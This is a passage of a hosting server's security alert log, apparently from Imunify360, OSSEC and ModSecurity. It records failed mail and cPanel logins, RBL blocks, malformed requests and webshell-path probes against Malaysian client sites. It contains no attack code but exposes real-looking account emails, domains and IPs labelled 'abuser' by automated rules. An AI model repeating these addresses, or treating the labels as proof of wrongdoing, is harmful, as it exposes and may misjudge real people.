Jan 15 21:14:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.35.22.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-15 21:15:32 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:53508: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.188.123.66
country_id: 290291
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/way/14/259/1491647 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.164.46.57
country_id: 1733045
description:
[2026-01-15 21:15:23 +0800] info [webmaild] 115.164.46.57 - horizon@tst-ma.com "POST /cpsess8869116183/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.180.129.87
country_id: 1668284
description:
Jan 15 21:15:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.180.129.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.73.190.98
country_id: 1835841
description:
Jan 15 21:16:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.73.190.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-15 21:16:17 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:47833: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.218
country_id: 798544
description:
Jan 15 21:16:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.218 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.158
country_id: 2750405
description:
2026-01-15 21:16:46 126223 [Warning] Aborted connection 126223 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.158' (This connection closed normally without authentication)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.164.46.57
country_id: 1733045
description:
[2026-01-15 21:16:24 +0800] info [webmaild] 115.164.46.57 - horizon@tst-ma.com "POST /cpsess8869116183/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.164.46.57
country_id: 1733045
description:
[2026-01-15 21:17:24 +0800] info [webmaild] 115.164.46.57 - horizon@tst-ma.com "POST /cpsess8869116183/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.158
country_id: 2750405
description:
2026-01-15 21:17:55 126281 [Warning] Aborted connection 126281 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.158' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.247.105.239
country_id: 6251999
description:
2026-01-15 21:19:53 dovecot_plain authenticator failed for H=([10.37.155.155]) [84.247.105.239]:46931: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.247.105.239
country_id: 6251999
description:
2026-01-15 21:20:10 dovecot_login authenticator failed for H=([10.37.155.155]) [84.247.105.239]:27526: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.247.105.239
country_id: 6251999
description:
2026-01-15 21:21:17 dovecot_plain authenticator failed for H=([10.37.155.155]) [84.247.105.239]:55824: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.154
country_id: 953987
description:
Jan 15 21:21:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.154 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.190.125.34
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=150120 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.232.64.224
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/rich/454/354255 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.35.67
country_id: 2395170
description:
Jan 15 21:26:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.35.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.62.77.143
country_id: 1733045
description:
2026-01-15 21:26:08 dovecot_login authenticator failed for H=(DESKTOP8H475EO) [182.62.77.143]:27998: 535 Incorrect authentication data (set_id=dhill.project@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.35.67
country_id: 2395170
description:
Jan 15 21:26:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.35.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.62.77.143
country_id: 1733045
description:
2026-01-15 21:26:19 dovecot_login authenticator failed for H=(DESKTOP8H475EO) [182.62.77.143]:28004: 535 Incorrect authentication data (set_id=dhill.project@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.114
country_id: 3469034
description:
Jan 15 21:26:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.114 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.234.211.37
country_id: 3658394
description:
[2026-01-15 21:26:47 +0800] info [whostmgrd] 177.234.211.37 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.62.77.143
country_id: 1733045
description:
2026-01-15 21:27:12 dovecot_login authenticator failed for H=(DESKTOP8H475EO) [182.62.77.143]:27994: 535 Incorrect authentication data (set_id=dhill.project@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.255.103.186
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=234981 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.224.227.120
country_id: 1835841
description:
2026-01-15 21:28:21 dovecot_login authenticator failed for H=([211.224.227.120]) [211.224.227.120]:43222: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.129.245.249
country_id: 1814991
description:
Jan 15 21:28:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.129.245.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-01-15 21:28:43 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:57977: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/about.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.224.227.120
country_id: 1835841
description:
Jan 15 21:28:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.224.227.120 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.184.76.161
country_id: 6252001
description:
Jan 15 21:29:14 sv3 pure-ftpd[3928064]: (?@195.184.76.161) [INFO] New connection from 195.184.76.161


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.184.76.201
country_id: 6252001
description:
Jan 15 21:29:14 sv3 pure-ftpd[3928066]: (?@195.184.76.201) [INFO] New connection from 195.184.76.201


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.97.190.237
country_id: 6252001
description:
2026-01-15 21:30:49 dovecot_plain authenticator failed for H=(urdize) [75.97.190.237]:37404: 535 Incorrect authentication data (set_id=irene.wong@tujusetia.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 206.168.34.201
country_id: 6252001
description:
Jan 15 21:30:43 sv3 pure-ftpd[3928864]: (?@206.168.34.201) [INFO] New connection from 206.168.34.201


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.36.134.103
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/04printing.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.39.125.133
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=816746 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.72.113.4
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=52251516695384 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.99
country_id: 1269750
description:
Jan 15 21:34:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.99 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.184.82.80
country_id: 6290252
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/tcomponent02.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.28.143.198
country_id: 6254930
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/tautomatic02.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.156.235
country_id: 248816
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/css/main.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.6.37.155
country_id: 3469034
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.155.4.252
country_id: 163843
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.20.42.48
country_id: 587116
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/event-dispatcher/Tests/Debug HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.33.56
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/event-dispatcher/Tests/Debug/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.236.250.147
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.63||T:APACHE||RA:204.236.250.147||TA:204.236.250.147||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-brands-400.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-regular-400.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.135.15
country_id: 953987
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/products/em-amino-plus/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/plugins/revslider/sr6/assets/css/rs6.css?ver=6.7.18 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto-child/style.css?ver=6.4.7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.154
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-includes/css/dist/block-library/style.min.css?ver=6.4.7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/css/plugins_optimized.css?ver=6.4.7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-solid-900.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/wp-content/themes/porto/style.css?ver=6.4.7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.51.18.214
country_id: 6252001
description:
[2026-01-15 21:39:33 +0800] info [whostmgrd] 45.51.18.214 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 21:40:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57162: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.43.237
country_id: 953987
description:
Jan 15 21:41:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.43.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 21:40:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57163: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.43.237
country_id: 953987
description:
Jan 15 21:41:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.43.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/photos/awards.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.79
country_id: 3469034
description:
Jan 15 21:47:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.13.140.178
country_id: 3175395
description:
Jan 15 21:47:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.13.140.178 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.13.115.70
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phar-io/manifest/tests/exceptions/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.172
country_id: 3175395
description:
Jan 15 21:53:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-15 21:54:10 H=([46.151.182.48]) [46.151.182.48]:51184 F=<astpkg@astlog.com.my> rejected RCPT <astpkg@astlog.com.my>: smtp auth required


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.152.67
country_id: 1733045
description:
[2026-01-15 21:54:17 +0800] info [webmaild] 161.142.152.67 - kwangpeng@ktlog.com.my "GET /cpsess4233747388/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.245.87] != Current IP Address [161.142.152.67]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-15 21:56:16 H=([45.144.212.50]) [45.144.212.50]:52029 F=<arm@da-desk.com> rejected RCPT <khim@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.87
country_id: 953987
description:
Jan 15 21:56:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.118.113
country_id: 1733045
description:
[2026-01-15 21:58:02 +0800] info [webmaild] 161.142.118.113 - s-osada@mckd.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.108.86.206
country_id: 3469034
description:
Jan 15 21:58:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.108.86.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.178
country_id: 3469034
description:
Jan 15 21:57:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.51.226.101
country_id: 3175395
description:
Jan 15 21:57:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.51.226.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.79
country_id: 2510769
description:
Jan 15 21:57:46 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.123
country_id: 1269750
description:
Jan 15 21:58:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.149
country_id: 953987
description:
Jan 15 21:58:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.149 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.188.69.79
country_id: 2542007
description:
[2026-01-15 21:58:11 +0800] info [whostmgrd] 105.188.69.79 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.108.86.206
country_id: 3469034
description:
Jan 15 21:58:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.108.86.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.149
country_id: 953987
description:
Jan 15 21:59:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.86
country_id: 953987
description:
Jan 15 22:00:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.81
country_id: 3996063
description:
Jan 15 22:01:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.81 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/dosimeter.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.72.24.250
country_id: 51537
description:
Jan 15 22:02:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.72.24.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.214
country_id: 798544
description:
Jan 15 22:02:52 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.81
country_id: 798544
description:
Jan 15 22:03:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.116
country_id: 3865483
description:
Jan 15 22:03:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-15 22:04:54 H=([46.151.182.48]) [46.151.182.48]:62030 F=<celine@ktlog.com.my> rejected RCPT <celine@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.93.37.178
country_id: 1269750
description:
Jan 15 22:08:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.93.37.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.93.37.178
country_id: 1269750
description:
2026-01-15 22:08:02 dovecot_login authenticator failed for H=([103.93.37.178]) [103.93.37.178]:57946: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 22:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57186: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.79.216.38
country_id: 2017370
description:
Jan 15 22:08:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.79.216.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
